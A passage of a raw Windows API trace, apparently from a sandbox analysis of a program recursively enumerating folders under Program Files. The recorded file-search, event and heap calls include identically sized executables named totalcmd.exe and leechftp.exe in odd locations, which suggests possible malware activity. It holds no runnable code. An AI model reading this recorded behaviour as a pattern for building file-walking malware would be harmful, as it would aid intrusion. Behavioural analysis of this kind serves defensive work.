(in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0230.665] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.665] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0230.666] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0230.666] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0230.666] ResetEvent (hEvent=0x2b8) returned 1 [0230.666] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.670] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0230.670] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0230.670] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0230.671] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0230.671] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0230.671] ResetEvent (hEvent=0x2b8) returned 1 [0230.671] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.694] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0230.694] ResetEvent (hEvent=0x2b8) returned 1 [0230.694] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.696] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0230.696] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0230.697] GetProcessHeap () returned 0xc10000 [0230.697] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.697] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0230.697] ResetEvent (hEvent=0x2b8) returned 1 [0230.697] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.700] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0230.700] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0230.700] ResetEvent (hEvent=0x2b8) returned 1 [0230.700] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.701] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0230.701] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0230.701] GetProcessHeap () returned 0xc10000 [0230.701] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0230.703] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0230.703] ResetEvent (hEvent=0x2b8) returned 1 [0230.703] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.705] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0230.705] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0230.705] ResetEvent (hEvent=0x2b8) returned 1 [0230.705] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0230.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0230.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0230.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0230.710] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0230.710] GetProcessHeap () returned 0xc10000 [0230.710] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0230.710] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0230.711] ResetEvent (hEvent=0x2b8) returned 1 [0230.711] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.714] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0230.714] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0230.714] GetProcessHeap () returned 0xc10000 [0230.714] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0230.715] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0230.715] GetProcessHeap () returned 0xc10000 [0230.715] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0230.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0230.716] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.716] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0230.716] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0230.716] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a86690, ftCreationTime.dwHighDateTime=0x1d5d4d7, ftLastAccessTime.dwLowDateTime=0x7eb83c20, ftLastAccessTime.dwHighDateTime=0x1d5b0da, ftLastWriteTime.dwLowDateTime=0x7eb83c20, ftLastWriteTime.dwHighDateTime=0x1d5b0da, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0230.716] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0230.716] GetProcessHeap () returned 0xc10000 [0230.716] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0230.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0230.717] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.717] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0230.717] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0230.717] ResetEvent (hEvent=0x2b8) returned 1 [0230.717] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.718] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0230.719] ResetEvent (hEvent=0x2b8) returned 1 [0230.719] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.721] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0230.721] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0230.721] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0230.721] GetProcessHeap () returned 0xc10000 [0230.721] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0230.721] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0230.721] GetProcessHeap () returned 0xc10000 [0230.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0230.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2d1ef20 